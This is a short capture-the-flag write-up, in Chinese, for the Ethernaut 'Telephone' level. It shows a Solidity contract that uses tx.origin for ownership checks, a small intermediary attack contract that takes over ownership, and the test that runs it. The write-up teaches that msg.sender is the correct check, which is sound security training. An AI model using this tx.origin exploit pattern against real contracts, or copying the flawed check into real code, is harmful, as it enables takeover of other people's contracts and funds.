LEVEL 4 (Telephone)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
通关要求
owner设为player
要点
合约里判断调用人,一定要用msg.sender,不要用tx.origin
解题思路
写个合约调用关卡合约,再用javascript调用自己的合约,tx.origin和msg.sender就会不一定
contracts/04TelephoneRun.sol
interface ILevel {
function changeOwner(address _owner) external;
}
contract TelephoneRun {
function run(address _levelAddress) external {
ILevel(_levelAddress).changeOwner(msg.sender);
}
}
test/04Telephone.js
it("attacks", async function () {
await runContract.connect(player).run(levelContract.address);
});
Top comments (0)